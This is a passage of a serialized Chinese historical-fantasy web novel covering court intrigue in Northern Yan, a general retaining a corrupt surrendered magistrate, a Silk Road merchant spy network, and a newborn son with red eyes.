他突然剧烈咳嗽,手忙脚乱地翻找密报,却露出袖口藏着的城防修缮偷工清单:“雁门关剿匪耗银百万,其中三十万两进了您的私宅!代州刺史的密信里,连您小妾的翡翠镯子都记着账呢!” 殿内武将们的目光在两人身上打转。 左将军宇文豹握紧狼首刀,他早知道李崇厚吃空饷,但没想到牵扯这么深;右将军赵铁柱盯着张守正的账册,后悔去年没跟着一起捞战马油水。 李崇厚见武将们眼神动摇,立刻转换策略,扑通跪在皇帝面前:“陛下!臣征战半生,此刻若不调回狼师,京城危如累卵啊!” 他偷瞄张守正,发现对方正用脚尖碾藏在账册里的城防款收据,心中暗喜。 只要把水搅浑,谁也别想独善其身。? 张守正岂能让对方得逞? 他展开代州血书,三十七个血手印在夜明珠下像盛开的红梅:“陛下看看吧!李大人所谓的剿匪,实则是屠杀百姓冒功!这些孩子的眼睛,都是被他的狼师剜去的!” 他突然转向武将们,“各位将军想想,你们在前线拼命,他却在后方卖战马、喝兵血,这样的人也配掌兵?” 赵铁柱的酒壶当啷落地,他想起去年在云州,李崇厚让他们把老弱百姓当匪首斩首,说是凑数请功。 此刻看着张守正手中的血书,他突然觉得喉间发腥,忍不住骂道:“姓李的,你丫的真该被狼叼了!” 李崇厚额头冷汗直冒,知道再纠缠下去必输无疑。 他猛然站起,指向张守正颤抖的手:“你以为自己干净?燕南诸城的城防图,早就被你卖给乾军细作!否则林震仙怎会绕过雁门关,直取空城定襄城?" 这话纯属捏造,却让张守正心头剧震——他确实曾将过时的城防图卖给西域商人,却不知已被乾军利用。 他盯着李崇厚眼中的狠辣,突然意识到这是对方的反杀之计。? “够了!”拓跋恪的怒吼让狼首烛台剧烈摇晃,烛油溅在两人官服上,“朕不是来听你们互泼脏水的!” 他看着丹墀上散落的密报、账册、血书,突然发现这些文件拼凑起来,就是两位尚书的贪腐地图。 李崇厚怕调不回军队而暴露贪墨,张守正怕不收缩防线而坐实克扣,至于战局如何,他们根本不在乎。? 李崇厚偷瞄皇帝阴晴不定的脸色,知道必须抛出最后一张牌:“陛下,狼师若回防,臣愿以全家性命担保,必能挡住乾军!” 他故意摸向腰间的狼首鎏金佩,那是先王亲赐的信物,“若有闪失,臣全家甘受狼刑!” 这话既是表忠心,也是威胁——若皇帝不调兵,便是不信任狼师,寒了武将的心。? 张守正听出其中玄机,立刻搬出先王遗训:“陛下,正所谓狼行千里,必护其心,京城才是根本!” 他抖出黄绫上的先王手谕,“当年先王划下的防线,云中才是核心,燕南诸城本就是弃子!” 他故意忽略手谕中“弃子需坚壁清野”的后半句,反正那些被他克扣的城防款,根本做不到坚壁清野。? 拓跋恪盯着御座扶手的狼首雕刻,狼眼空洞无神,仿佛在嘲笑他的无能。 他突然想起张守正提到的“断甲保心”,又想起李崇厚的“狼师忠心”,终于明白这两人争的不是战局,而是谁能在溃败后少担罪责。 李崇厚要保住军权和面子,张守正要保住财权和性命,而他这个皇帝,不过是他们博弈的棋盘。? “传朕旨意!”他的声音带着破釜沉舟的狠劲,“雁门关大军分两批回防,五万先返京城,三万留守雁门;燕南诸城守军收缩至云中。” 他看着两人瞬间僵硬的表情,知道这折中方案让李崇厚的贪墨有了缓冲时间,也让张守正的克扣有了掩盖机会。 “朕不管你们有什么算计,若再让朕看见互相攻讦,就把你们的脑袋和狼首一起挂在城门!” 殿内鸦雀无声。李崇厚摸着狼首佩上的血渍,张守正悄悄将账册中“燕南城防款”那页揉烂。 两人都目的都没能彻底达到。 这个昏庸的皇帝,哪怕选择任何一个计划实施都可以,然而他却选择了一个折中的方案,只为了能平衡朝中这两股势力。 可笑啊,他只是搬起石头砸自己的脚。 两人对视一眼,皆看出彼此眼中的诡诈。 这北燕,恐怕要因为皇帝的一道圣旨,而彻底覆灭了。 第511章 一个贪官 定襄城的青石板路上,月光像揉碎的银箔洒在屋瓦上。 两千乾军士卒按着腰刀巡城,甲胄撞击声轻得像春蚕吐丝。 这是林震仙亲下的军令,马蹄不得践踏街砖,刀柄不得磕碰百姓门框。 违者立斩。 其实说白了林震仙就是把定襄城当成大乾自己的国土了,如果是塞外或者其他民族,他丝毫不介意给士兵放几天假,在城里想干什么干什么。 城南校场之外,三万大军扎着朱雀纹帐篷,炊烟混着夜来香飘进城头,竟让这座刚易主的城池透出几分诡异的安宁。? 府衙正堂的烛火跳动着,将林震仙的影子投在屏风上,像柄悬而未决的剑。 郝爱民跪在冰凉的砖地上,官服前襟已被冷汗浸透,视线死死盯着对方手中翻动的账册。 那本泛黄的簿子每响一声,他后颈的肥肉就跟着抖上一抖。? “定襄县一年赋税十二万四千两,你贪了四万三千七百两。”林震仙指尖敲在账册某页,烛火映得他眼角的刀疤泛着淡红。 “六个粮仓,三个囤着发霉的糙米,两个堆满绸缎香料,倒是最隐蔽的西仓,藏着两千坛烧刀子,呵呵呵,郝大人这是把县衙当酒肆开了?” 郝爱民猛地扇自己耳光,响声在空荡的堂内格外清脆:“王爷赎罪!下官猪油蒙了心,自恃山高皇帝远...您瞧这印信,这是下官私刻的雁门转运使关防,还有地窖里的二十箱黄金,都是给...给您准备的。” 他膝行半步,从袖中抖出串翡翠手串,珠子在烛光下泛着贼光,“这是前燕太傅府的旧藏,当年...” “够了。”林震仙将账册甩在桌上,玉扳指磕在木案上发出清响,“你贪墨的银子都够养活本王这些精兵仨月的,难怪臻儿总说越是小官就越能贪,可见你这些年非但没有为定襄百姓做好事儿,反而使劲的剥削,是也不是!” “我我我...王爷,我...” “不过...”林震仙话锋一转,“你既然是主动投降的,开城门时没让百姓死伤,清点仓库时也没敢藏粮,全都老实交代了出来。” “呵呵呵。”他忽然轻笑,指尖划过账册上“河防款”那页,“连克扣修河的钱都记了明细,倒算是个有条理的贪官,不错,有点意思。” 胖子抱着臂靠在廊柱旁:“王爷,这号人留着迟早生事。咱们缺的是治民能吏,可不是赃官。” 他吐掉嘴角的草茎,“去年在沧州,末将砍的那个贪粮主簿,比他还会哭穷呢。"? 林震仙瞥了眼胖子,见他腰间牛皮水袋还沾着定襄城河水的泥渍:“沧州主簿把军粮卖给马匪,这姓郝的却把粮食囤在西仓,这有本质区别,只不过本王很是好奇...” 他转向郝爱民,后者正用袖口拼命擦拭额头上的冷汗,“你是不是早就知道燕军会败,所以提前藏好物资等待新主,对么?” 郝爱民额头贴地,声音闷在砖缝里:“王爷明鉴!自打雁门关传来剿匪耗银百万的邸报,下官就知道北燕气数尽了...这定襄城的粮仓,本就是给您这样的明主备的。” 他忽然抬头,胖脸上竟挤出两滴泪,“您看那西仓的酒,还是十年前的梨花白,下官连开坛的蜡封都没动过!” 胖子低声骂了句“老狐狸”,手却按在刀柄上。 林震仙却摆了摆手,目光落在堂外影壁的狼首浮雕上——那是北燕官署的标配,此刻被乾军士卒用朱雀旗遮住半面。 “是个聪明人,本王决定暂且留着你。”他从袖中取出空白文牒,“明日起你仍署县令,每日卯时来报民生,酉时呈交账册。记住,你不仅要负责粮道的畅通,还要保证百姓的基本生活,不能引起什么动乱,否则本王就让你尝尝大乾的律法!” 郝爱民连磕三个响头,额头红得像熟透的柿子:“谢王爷不杀之恩!小的这就去张罗酒肉,西仓的烧刀子足有两千坛,足够犒赏三军的!” 他爬起来时腰带散了,官服歪歪斜斜地挂在身上,却不忘捡起那串被胖子踩脏的翡翠手串,“王爷若不嫌弃,今晚还有刚宰的黄羊...”? “滚去办事。”林震仙挥了挥手,待郝爱民的胖身影消失在月洞门后,才转向胖子:“小胖啊,你杀气太重了。此人虽贪却深谙官场门道。北燕刚降,州县衙门的老吏们都盯着呢,留着他做个“识时务者为俊杰”的榜样,比派个生手强百倍。”? 胖子挠了挠头,忽然看见传令兵拎着油皮纸袋疾步走来:“王爷,云中传来密报。” 他撕开袋口,露出三折黄绢,火漆印上的朱雀纹还带着体温。? 烛火突然被夜风吹得明灭不定。 林震仙展开密绢的指尖顿了顿,眉峰在光影中骤然蹙起。 绢上蝇头小楷写着:“北燕皇帝拓跋恪令雁门关八万大军分两批回防,五万赴京城,三万留守;燕南诸城守军收缩至云中,限三日内完成。”末尾盖着乾军斥候的印,墨迹未干。? “奇怪。”林震仙将密绢拍在桌上,手指敲打着“分两批”三字。 “雁门关距京城四百里,五万大军调动只需十日,三万留守兵力不足御匪,更挡不住我军西进......” 他忽然望向墙上的羊皮地图,定襄城往西的河曲郡标着密密麻麻的狼首记号。 “若我是拓跋恪,要么集中兵力死守雁门,要么弃北保南,这般首尾分家...到底是什么意思啊?难不成他还有后手?”? 胖子凑过来,鼻尖几乎碰到地图:“王爷,那小皇帝傻了吧?定襄城之战,咱们八牛弩把燕军重骑兵射成筛子,只要不是傻子都应该知道我们会趁热打铁攻京城,他倒好,把兵力掰成两半。他就不怕我们对京城围而不攻?” “没那么简单。”林震仙抽出腰间螭龙纹剑,剑尖轻点地图上的云中。 第512章 每天笑三次 “北燕尚书台那帮老狐狸,岂会容皇帝胡来?我估摸着应该是李崇厚怕雁门撤军暴露贪墨,张守正怕南线失守坐实克扣,两人争来争去,倒让拓跋恪选了个看似折中、实则速死的计策。” 他忽然轻笑,剑刃在烛火下划出弧光,“三万留守雁门,正好给陈宵当靶子;五万回防京城,够咱们在路上慢慢啃。”? 胖子挠了挠刺猬般的短发:“那咱们下一步?按原计划攻云中?”? “不。”林震仙将密绢丢进火盆,看纸页在火苗中蜷曲成狼首形状,“拓跋恪把防线收缩至云中,必然会在关前布下鹿角、壕沟,咱们的八牛弩虽强,硬攻难免折损。况且兵力已经开始收缩,我们以五千人马攻京城,不现实。” 他忽然指向地图西南角,“河曲郡屯着北燕西线最后的粮草,守将是李崇厚的外甥,据密保说,此人正忙着往幽州马场倒腾战马。” 胖子眼睛一亮:“河曲无险可守,且挨着云中!末将愿带两千人马,两日就能踹了他的粮仓!” “两日不够。”林震仙从案头抓起郝爱民留下的翡翠手串,珠子在掌心碰撞出声,“传令下去:全军休整两日,每日三顿酒肉管够。郝爱民送来的烧刀子,全部分给弩手。” 他忽然望向窗外被朱雀旗遮住的狼首浮雕,“两日后全军西进河曲,路过黑山时,把“老狼”的匪巢也捎带了。他北燕不是喜欢养狼么,咱们就帮他们清一清狼崽子。”? 胖子领命而去,靴声撞碎满庭月光。 ...... 深夜林震仙独坐在空堂,听着远处传来的猜拳声——那是乾军士卒在分食郝爱民送来的黄羊肉。 他指尖摩挲着账册上郝爱民的密注,忽然在“河防款”那页发现一行极小的字:“雁门守军七成是李崇厚私军,多为幽州子弟。”? 烛花突然爆响。 林震仙望着跳动的火光,想起十年前在雁门关外,曾与李崇厚的父亲燕北王大战三天三夜。 那时的燕军如狼群般悍勇,如今却被一群贪墨的硕鼠蛀空了根基。 他忽然冷笑,将账册推回原位——郝爱民的贪婪,何尝不是另一种利器?? 更漏声中,府衙后巷传来犬吠。 林震仙起身望向窗外,见郝爱民正指挥衙役搬运酒坛,肥胖的身影在月光下像团滚动的雪球。 ...... 大乾京城的暮春飘着柳絮,摄政王府的朱漆门扉前,八只青铜朱雀灯台吐着烛焰,将门前汉白玉石狮映得如浴火般威严。 林臻的书房位于西跨院,雕花槅扇半开着,案头博山炉飘出的沉水香混着窗外紫藤花香,在泛黄的舆图上织成淡淡烟霭。? 此时他正倚在紫檀雕花椅上,指间捏着从北燕快马送来的密报,素白信笺上的朱砂批注在烛火下分外醒目。 他扫过“拓跋恪分兵雁门”“李崇厚私军滞留”“云中防线虚设”等关键词,忽然低笑出声,指腹碾过地图上北燕疆域的狼首图腾标记。 “王爷说得没错,北燕这步棋,分明是把脖颈递到屠刀底下了。"? “夫君又在笑北燕君臣呢?” 环佩轻响中,身着绿腰长裙的浣碧端着茶盏进来,裙摆掠过满地舆图时,露出绣着银线的雪缎袜底。 她腕间翡翠镯碰着青瓷盏,发出清越的响声:“自定襄城失守后,您每日都要笑上三回呢。” 林臻放下密报,视线落在浣碧鬓边的珍珠步摇上——那是去年西域商人进贡的波斯珍品,此刻正随着她的动作轻轻摇晃,映得肌肤胜雪。 “不是笑他们蠢,而是笑他们贪。”他接过茶盏,“李崇厚怕贪墨事发,张守正怕克扣曝光,两个老贼把十万大军拆成两半,倒替咱们省了半月路程。”? 舆图上,雁门关与居庸关的红线像两道断裂的锁链,将北燕版图割裂成首尾难顾的两截。 林臻忽然起身,袖摆扫过案头堆积的战报,手指点在黑山匪巢位置:“王爷西进河曲不过三日,黑山“老狼”的密信就到了——北燕的那些狼崽子们,早就等着咬自家主子的喉咙呢。说到底,还是朝廷对他们太不友好了。”? 浣碧凑近舆图:“听说王爷在定襄城留了个贪官当向导?” “你怎么知道的?” “前日听管家说的,那贪官把黄金藏在城隍庙香炉里,连老鼠都知道他袖口沾着金粉。” “郝爱民?”林臻想起王爷密信里提到的翡翠手串与双账明细,忽然低笑,“此人贪财却不贪权,恋生却不恋名,正适合在乱世当枚棋子。” 他转身望向窗外的紫藤花架,暮色中,某个黑影正顺着游廊疾走,那是负责传递密信的暗卫。 “我给王爷出了个招,要郝爱民出榜免了定襄城三年赋税,这计策看似便宜百姓,实则断了北燕再收税的由头,因为郝爱民越得民心,北燕就越难夺回城池。”? 浣碧将茶盏搁在案头,忽然注意到舆图角落的西域商路标记:“对了,夫君上次是不是说,等西域商队回来,要让妾身哥哥跟着去龟兹?那边可正打仗呢...” 她绞着裙带,腕间翡翠镯发出细碎的响声。 林臻知道,他是担心李闯有什么危险,笑道:“放心,商队里有陈宵的暗桩,沿途关卡都换了咱们的人。你哥哥跟着去,一来见识西域风物,二来学习下经商之道,这对他是大有裨益的。男人,不经历写磨难,如何成长?” 说话间,门外有丫鬟走进来:“世子,张俪夫人差人送了西域葡萄来。还有,西域商队的领队今晚求见,说带回了北燕云中郡的布防图。"? 林臻指尖的棋子顿在黑山位置,眼中闪过精光:“让他在偏厅候着。” 他转头对浣碧笑道,“你快去把你哥哥叫回来,这位领队可是个有本事的大掌柜,不能怠慢了。” “是,夫君,妾身这就去。” 第513章 钱多多 摄政王府的西跨院暮色四合,会客厅的雕花槅扇半开着,檐角铜铃随晚风轻响,将紫藤花香送入室内。 负责西域商贸的大掌柜钱多多正坐在黄花梨圈椅上,指尖摩挲着茶盏边沿的缠枝莲纹,目光扫过案头摊开的羊皮账本——那上面用朱砂标着三十六处商队落脚点,墨迹未干的“河曲”二字格外醒目。? “钱掌柜久等了。”林臻的声音从游廊传来,玄色大氅扫过门槛时,带起淡淡沉水香。 他抬手按住正要行礼的钱多多,掌心落在对方袖口的朱雀暗纹上,“自家人不必多礼,说说吧,西域的风沙可曾磨坏你的算盘?”? 钱多多起身时,腰间牛皮钱袋发出细碎的响声,里面装着从波斯换来的萨珊银币:“世子折煞小人了。” 他推开账本,露出夹在其中的龟兹王庭手札,“这趟西行往返五月,经波斯、龟兹、于阗三国,光是丝绸就换了一千五百匹战马,瓷器在疏勒卖得尤其好,当地贵族把咱们的青瓷茶盏当神器供着。”? 林臻扫过账本上的明细,龟兹一栏记着“汗血宝马千匹,附龟兹王印信”,于阗一栏画着美玉原石的简笔图,波斯页脚则注着“狼首玉佩千枚,附波斯商团密约”。 他指尖停在“黑山匪帮”的小字上,那里记着钱多多与“老狼”的碰面细节:“说说龟兹王,他真愿用五十匹汗血宝马换十箱蜀锦?”? 钱多多忽然压低声音,从袖中摸出枚狼首玉佩,背面阴刻着朱雀纹:“龟兹王早对北燕狼师不满,去年燕军过境时抢了他的草场。” 他指向账本上的密约,“这是波斯商团的过境许可,他们答应借道给咱们的驼队,条件是要咱们的二锅头,说波斯贵族迷上了这种‘能点火的水’。”? “二锅头?”林臻想起定襄城郝爱民地窖里的烧刀子,忽然颔首,“倒是个好买卖。北燕封锁丝路多年,波斯人怕是忘了咱们乾国的美酒滋味了。” 他翻开另一页,见钱多多详细记着西域各国兵力:波斯有象兵五千,龟兹善用骆驼骑兵,于阗靠美玉供养三万步兵。 “你连人家的军备都摸清楚了?”? 钱多多指腹划过波斯象兵的批注:“小人跟着商队进波斯王宫时,看见象兵铠甲上嵌着咱们的定窑白瓷。”他忽然从钱袋里倒出几枚银币,上面铸着朱雀与狮子缠绕的图案,“这是波斯王特意为咱们铸的‘乾波通商币’,拿这个去西域,比腰牌还管用。”? 林臻看着银币上的朱雀纹,想起林震仙在定襄城用郝爱民的贪墨银子买通黑山匪帮,忽然轻笑:“钱掌柜这趟赚的不止是银子吧?借道波斯攻北燕西线,龟兹王的汗血宝马,怕是要载着咱们的骑兵踏平黑山了。”? 钱多多正要答话,槅扇外传来环佩声。 浣碧身着月白羽纱裙,牵着个穿湖蓝锦袍的青年进来,绣着银线的裙摆扫过满地舆图:“夫君,李闯刚从城西马场回来,非要吵着见你。”? 来者正是李闯,新做的鹿皮靴底还沾着草屑,腰间挂着串玉珠。 他看见案头的羊皮账本,眼睛倏地亮了:“世子,这是西域商路图吗?”? 林臻笑着将他拉到身边,指尖划过地图上的火焰山:“喷火的骆驼倒没有,不过龟兹的骆驼骑兵能在沙地里跑三天三夜。” 他指着钱多多腰间的钱袋,“这位钱掌柜去过三次龟兹,连王宫后厨的厨子都认得。”? 李闯立刻向钱多多作揖,琉璃珠撞出清脆的响声:“钱掌柜好!” 钱多多还有些纳闷:“世子,您这是要?” “哦,我希望你可以带着他去西域,见见世面。” 原来如此。 钱多多立刻就明白过来,林臻这是想培养个接班人,或者培养个人才。 钱多多忙不迭扶起少年:“小公子确定愿意跟着我去西域?” “确定!”李闯重重点头。 钱多多从账本里抽出张羊皮纸,上面画着波斯集市的热闹景象。 李闯盯着纸上画的波斯舞女,忽然想起今日在马场看见的西域商人:“那些波斯人腰间都挂着狼首玉佩,和北燕的好像!”? 林臻与钱多多对视一眼,前者忽然轻笑:“我就说你得多出去看看,那是他们仰慕北燕的狼图腾。” 他转向钱多多,语气陡然郑重,“下趟商队多加五百护卫,绕道黑山时,把‘老狼’的密信带给王爷。”? 钱多多心领神会,将账本翻到最后一页,那里贴着张泛黄的布防图,正是北燕云中郡的城门部署。 “小人已让哑僧的徒弟混进云中马场,”他指着图上的红点,“李崇厚的外甥每次运绸缎,都会走黑山小道,咱们的八牛弩零件,就藏在那些绸缎箱底。”? “好,五天后出发,”林臻忽然对李闯道,“你立刻回家收拾行李,不能耽误了上路的吉时。记住了,出门在外,一切听钱掌柜的,不许自作主张。” “世子放心!我一定努力!” “嗯,照顾好你媳妇,别受了委屈。”林臻问道,“老钱,我们二锅头够不够用?” 钱多多合上账本:“世子放心,小人已让武清那边开足马力,二十箱酒只是引子,等波斯贵族喝上瘾,咱们的商队就能顺着酒路,把朱雀旗插到北燕的每座城池。”? “呵,南楚进贡的粮食都用来酿酒了,真是发财的好办法啊。” “世子说的是,南楚也万万想不到,他们紧衣缩食攒出来的粮食,最后还是要他们自己买单喝下去,呵呵呵呵。” ...... 更鼓敲过两声,会客厅的烛火仍未熄灭。 钱多多告辞时,将一袋萨珊银币塞给李闯:“到了波斯,用这个买波斯毯,比咱们的蜀锦还暖和。” 李闯高高兴兴的收下,算是拜师入门的红包。 回到书房,浣碧看着苏澈又展开舆图,忽然明白了什么。 这场西域之行远不止贸易那么简单,钱多多带回的不仅是账本和银币,还有波斯的借道密约、龟兹的战马交易、于阗的美玉同盟。 而她的哥哥李闯,将在这趟旅途中将从一个庄稼汉,成长为乾国商道上的暗桩,如同郝爱民在定襄城,如同钱多多在波斯,成为大乾爪牙的一部分。? 夜风穿过紫藤架,送来远处的驼铃声。 林臻望着舆图上蜿蜒的丝路,忽然轻笑。 当北燕君臣在朝堂上为银钱争吵时,乾国的商队已沿着丝路布下天罗地网,那些用二锅头和琉璃珠换来的支持,终将化作朱雀的羽翼,带着乾军越过黑山,踏破云中,让北燕的狼首图腾,永远消失在大乾的兵峰之中。 第514章 红色瞳孔 摄政王府后宅的夜静谧如水,晴雯的厢房檐角挂着四盏琉璃灯,暖黄色的光晕透过湘妃竹帘,在青砖地上投出细碎的竹影。 这是武清开发区的试验品,目前成色还不是很好,但是比波斯那边的玻璃球强多了。 而且晴雯也是整座王府第一个用上琉璃灯的人。 灯架铸着缠枝莲纹,每片花瓣中央都嵌着米粒大的夜明珠,将晴雯侧卧的身影映在帘幕上,像幅会呼吸的仕女图。 林臻掀开棉帘时,檐角铜铃发出清越的响声,惊起两只栖息的雀儿,也惊得榻上的美人儿支起了身子。? “夫君可算来了。” 晴雯的声音裹着三分慵懒七分娇嗔,月白羽纱寝衣松垮地滑至肩头,露出天鹅般修长的脖颈,锁骨下方的朱砂痣在灯光下若隐若现。 她指尖摩挲着鬓边的珍珠簪,那是张俪送的礼物,三十六颗东珠顺着簪头垂落,随着她的动作在肌肤上划出细碎的光斑。? 林臻的目光在她微敞的衣襟上顿了顿,喉间轻轻滚过一声叹息。 虽然恩爱许久,晴雯还是总爱用这种半露半掩的姿态勾他的魂,即便产后身形尚未完全恢复,眼尾眉梢的风情却分毫未减。 他上前替她拢好滑落的寝衣,指尖触到她锁骨处的薄汗时,晴雯突然抓住他的手腕,将他掌心按在自己温热的颈侧。? “瞧瞧,为了等夫君,妾身的心跳得比承煜的饿啼还急呢。”林臻被她直白的情话逗得轻笑,手指无意识地摩挲着她颈间跳动的脉搏,感受着那急促的韵律。 晴雯趁机往他怀里蹭了蹭,鼻尖几乎碰到他胸前的沉水香囊,温热的呼吸拂过他的衣襟:“嘻嘻嘻,夫君身上的香气总让妾身想起去年的雪夜,那时您披着玄色大氅踏雪归来,衣襟上的沉水香混着雪气,比任何醒酒汤都要提神。” 说着话,晴雯又使劲在林臻身上吸了几口。 “月子里别胡闹,快躺下”林臻的声音比平时低了几分,却没抽回手。 晴雯的指尖顺着他的袖口往上滑,触到他小臂上的刀疤时,忽然轻轻吹了口气:“这道疤还是去年在清河守城的时候伤的呢,不过妾身记得伤口被你缝的歪歪扭扭的,这怎么还不见了呢。” 她的指尖划过他肘弯内侧的软肉,那里有处只有她知晓的敏感点。? 林臻无奈失笑,上前替她揉按肩井穴,掌心触到她细腻的肌肤时,晴雯忽然抓住他的手,往自己腰间带:“夫君这双手,握得动长刀,揉得动妾身,偏生就是不肯多在妾身房里留些时辰。” 她仰头望着他,唇角还沾着白天吃的玫瑰酥碎屑,“今日晌午用午膳时,妾身特意让厨房做了您爱吃的鲈鱼烩,却听说您在书房啃冷馒头。” “前线军报紧急嘛,否则我怎么会不来看你呢。” 林臻的手指顿在她后腰的软肉上,那里有处让她忍不住轻颤的敏感点,“祖父准备进攻河曲郡,我得核计着从西域商队调运点物资过去。"? 晴雯忽然翻身坐起,寝衣滑落至腰间,露出小半截裹着肚兜的胸脯:“说起粮草,妾身倒想起件事——前几日奶娘说,承煜吃得比寻常婴儿多三倍,四个奶娘轮着喂都供不上。” 她指尖划过他的掌心,“不如让妾身亲自喂罢?反正每日喝那么多雪蛤膏,总不能便宜了那群奶娘。” 林臻的耳尖微微发烫,视线落在她胸前的肚兜上,那是他亲自选的月白羽缎,绣着并蒂莲纹:“你身子还没复原呢,哪有那么多奶水喂啊?哦对了,” 他忽然想起什么,从袖中取出个锦盒,“这是钱掌柜带回来的琉璃铃铛,说是挂在摇篮上能镇夜啼。” 晴雯接过锦盒,指尖抚过铃铛上的缠枝纹:“倒是精巧。” 她忽然凑近,温热的呼吸拂过他的耳垂,“不过妾身觉得,夫君睡前给唱支曲子,比什么铃铛都管用。” 说着便握住他的手腕,贴在自己小腹上,“您听,妾身的心跳得这样快,哪里是铃铛能镇得住的?” 襁褓里的小承煜突然发出饿啼,晴雯却像没听见似的,指尖顺着他的袖口往上滑,触到他小臂上的旧疤:“昨日给您换中衣时,发现肩甲磨破了皮。” 她的声音忽然放软,“妾身让绣娘在新做的软甲里衬了天鹅绒,明日让人送去书房。”? “胡闹,软甲哪能用天鹅绒。”林臻被她缠得无奈,却任由她攥着自己的手, “铁甲冰冷嘛,哪有妾身的手暖?”晴雯忽然咬住他的指尖,含糊不清地说,“夫君~妾身饿了~” “砰!夫人,该给孩子喂奶了。” “也罢。” 奶娘进来,伸手将孩子抱走,忽见襁褓里的小承煜睫毛轻颤,一双眼睛缓缓睁开。 原本准备接过孩子的手猛地顿在半空——那是怎样一双眼睛,瞳孔红如凝血,在琉璃灯光下泛着妖异的光泽,虹膜深处仿佛有火焰在无声跳动。? “世子!小、小少爷睁眼了!”奶娘的声音带着哭腔,怀里的襁褓剧烈晃动,孩子的红瞳在晃动的光影中忽明忽暗。 晴雯惊呼一声,踉跄着从榻上起身,寝衣滑落在地也浑然不觉,只死死盯着孩子的眼睛:“啊!?这...夫君,承煜...承煜的眼睛..."” 林臻只觉指尖发麻,喉间像是塞了团棉絮。 他颤抖着伸手,指尖几乎要触到孩子的眼睫,却在看清红瞳的瞬间猛地收回手。 以前他见过北疆雪狼的碧绿瞳仁,见过西域胡商的湛蓝眼珠,却从未见过如此妖异的血色瞳孔——那颜色太过浓烈,像是将鲜血凝在眸中,连眼白都泛着淡淡的粉。? “夫君,怎么办啊!” “世子,这可和我没关系啊!” “我们的奶都是健康的,不是毒奶啊!” “都闭嘴!”他厉声喝止不断惊叫的周嬷嬷,声音里带着自己都未察觉的颤抖。 整个厢房陷入死寂,唯有炭火烧裂的噼啪声格外清晰。 晴雯忽然抓住他的手腕,指甲几乎掐进他的皮肉:“夫君,这、这是怎么回事...” 林臻强迫自己冷静下来,接过孩子的动作却格外轻柔。 小承煜的红瞳映着他的面容。 难道说...是噬心蛊?承煜的身体也被噬心蛊占据了吗? “派人去请孙神医,另外再把棋牌佛找来!” “是。” 第515章 交公粮 林臻记得棋牌佛说过,自己体内的噬心蛊会影响到身边的所有人,自然也会影响到孩子。 直到现在他也不知道噬心蛊到底是福还是祸,就目前看来噬心蛊的好处绝对大过坏处,可孩子的眼睛居然是红色的! 这会不会失明啊?如果失明了,就算练就一身好武艺又有什么用?这个美丽的世界看不见了啊。 林臻急得头顶冒汗,他抱着孩子在晴雯的房间里转悠,心急如焚。 而晴雯更是轻轻抽泣起来。 “雯儿,别哭,不会有事儿的。” “呜呜...夫君...你说孩子...孩子会不会失明啊?这样的眼睛妾身从来没见过。” “世子。”两人正说话间,侯春走了进来,满脸严肃。 晴雯用被子遮了遮身体,林臻问道:“怎么了?人呢?” “世子,末将已经派人去找孙神医了,应该很快就能过来,棋牌佛暂时还没找到。” “这个老秃驴,关键时刻找不到人!奶奶的..”林臻气地咬牙,却见侯春努了努嘴,最终什么也没说。 林臻虎目一凛:“说!犹豫什么呢?” “世子...末将刚才过来的时候,听到有人说..说...” “说什么?” “说小少爷...可能是妖孽。” “我去她妈的!”林臻一脚踹翻了凳子,吓得孩子哇哇大哭。 晴雯更是一把扔掉手绢,狠狠一拍床铺说道:“去!把他们舌头给我拔了!以后这个府里谁再敢说承煜一句不是,通通打死!” 侯春看了看林臻,见他没有反驳,便点点头走了出去。 这件事情本就可疑,那帮人还敢传闲话。 这不是找死么。 晴雯火气未消,头发乱糟糟的像个老巫婆,愤恨地道:“老虎不发威一个个都拿我当病猫是不是?平日里和你们嘻嘻哈哈,都不拿我当回事了是不是!好啊,老娘今天就让你们全都去死!!谁他妈都别想好过!!” “雯儿!”林臻走过去,搂住她的肩膀说道,“别这么激动,当心身子。” “夫君...他们欺负我!!” “放心,为夫不会放过那些传闲话的人,你安心躺下,剩下的事情......”林臻话还没说完,就见怀里的小承煜突然伸出双手要去抱晴雯。 这可把林臻惊喜坏了,忙喊晴雯:“雯儿,你快看。” 晴雯此刻的样子非常恐怖,但是小承煜却一点也不怕,笑盈盈地睁着红色大眼睛要去抱自己母亲。 “孩子...”晴雯啪叽一声,泪珠摔落在被子上,连忙把孩子抱过去。 就见承煜那水汪汪的大眼睛充满笑意,好像是在安慰她:“嘎!哈哈!” “还这么小就知道心疼母亲。奶奶的,以后谁他妈要是说我儿子是妖孽,老子弄死他!” “嘻嘻嘻~不枉娘十月怀胎生你,还真是个贴心的小家伙~”晴雯瞬间恢复成慈爱的母亲模样。 林臻松了口气,在她额头上轻轻一吻走了出去。 夜风吹来,带着丝丝凉意,不远处孙之推步履阑珊地走过来,见到林臻后见礼:“世子。” “孙神仙,辛苦了,孩子出了点状况,您跟我来。” “世子言重了。” 林臻带头又走回房间里,把孩子抱给他看。 孙之推简单给孩子摸了脉,摇摇头,又用手指在孩子眼前晃。 就见承煜的红色眼睛跟着孙之推的手指来回摆动,最后孙之推说道:“世子请放心,孩子非常健康,至于这眼睛虽然与常人不同,但非寻常人皆有不寻常的特征,不是什么大事。” “呼...”听孙之推这么说,林臻心里还好受些,连忙拜谢,“多谢孙神仙,只要孩子没事就行。” “世子不必客气,但恕老朽直言,刚刚老朽在过来的时候就听到府中开始有人传孩子是妖孽...这种行为很是不妥,容易给王府造成极其不好的影响,甚至会影响孩子以后,世子应尽快想办法杜绝...” “啊!!!” 话音未落,房间外传来奶娘惨叫的声音。 晴雯冷笑道:“呵,杀得好,这种人早就该死。” “这...”孙之推一时语塞。 他也没想到林臻处理这种事情的方式居然是杀戮。 他惋惜地摇了摇头,转身离开。 他是位医者,医者仁心,最见不得这种事情了。 但同时他又很清楚,这是林臻的家事,他无权多管。 送走了孙之推,棋牌佛还是没来,估计这花和尚又不知道去哪喝花酒了。 林臻回到床榻边上,牵起晴雯的手:“雯儿,夜深了,我们睡觉吧。” “给吃药吗?” “我......” “哼!天天给婉儿吃药,就不能给妾身一次?妾身多久都没尝到肉味了,今天要不你就交粮,要不你就出去,爱去哪睡去哪睡!” “嗐,我这不是担心你的身体嘛?” “我是吃药,又没说用药,耽误什么身体?赶紧躺下。”晴雯迫不及待地将林臻推倒,又对外面说道:“来人,赶紧把孩子抱走,耽误事了。” “诶诶诶!”丫鬟刚才被奶娘的惨叫声吓坏了。 她是新来的,从来都不知道平时嘻嘻哈哈的晴雯夫人居然这么凶残,此刻手忙脚乱地将小承煜抱走,紧接着就听到林臻也传来一声惨叫。 “哎呦,你轻点,咬着我了!” ...... 